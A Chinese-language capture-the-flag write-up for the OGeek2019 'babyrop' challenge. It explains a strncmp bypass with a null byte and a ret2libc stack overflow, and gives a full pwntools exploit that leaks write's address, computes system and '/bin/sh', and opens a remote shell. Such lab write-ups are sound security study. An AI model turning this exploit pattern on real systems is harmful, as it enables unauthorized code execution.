[OGeek2019]babyrop(ret2libc)
查看保护机制,32位,开了NX

IDA打开查看发现有随机数问题

通过strncmp函数比较随机数与输入数是否相等

这里想到可以通过\x00来绕过strncmp函数,因为strlen遇到\x00会停止

因为a1是函数sub_804871F的返回值,那就让a1为 \xff 这样就可以进行栈溢出了

libc.so可以给我们提供一套函数的地址,并且在里面虽有函数的相对位置都是固定的。意思是如果我们知道了每一个函数的真实地址,我们可以根据给出的libc.so计算出其他函数的真实地址(实际上就是要得到system_addr)
这里选择泄露write_addr,然后计算出system_addr
利用思路
1.因为给出了libc版本,所以我们可以直接使用
2.在这题中,我们可以泄露write函数的地址,然后用题目提供的动态共享库算出内存中system函数的地址
3.再用system函数的地址覆盖返回地址
exp
from pwn import *
context.log_level = "debug"
# io = process('./pwn')
io = remote('node3.buuoj.cn','28990')
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048825
payload = b'\x00' + b'\xff' * 7
io.sendline(payload)
payload = (0xE7 + 4) * b'a' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0x8)
io.sendlineafter("Correct\n",payload)
write_addr=u32(io.recv(4).strip().ljust(4, b'\x00'))
success('write_addr: ' + hex(write_addr))
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.23.so")
libc_base = write_addr - libc.sym["write"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
success("system_addr " + hex(system_addr))
success("binsh_addr " + hex(binsh_addr))
payload = b'\x00' + b'\xff' * 7
io.sendline(payload)
payload = (0xE7 + 4) * b'a' + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
io.sendlineafter("Correct",payload)
io.interactive()
最后脚本一跑,拿到了flag
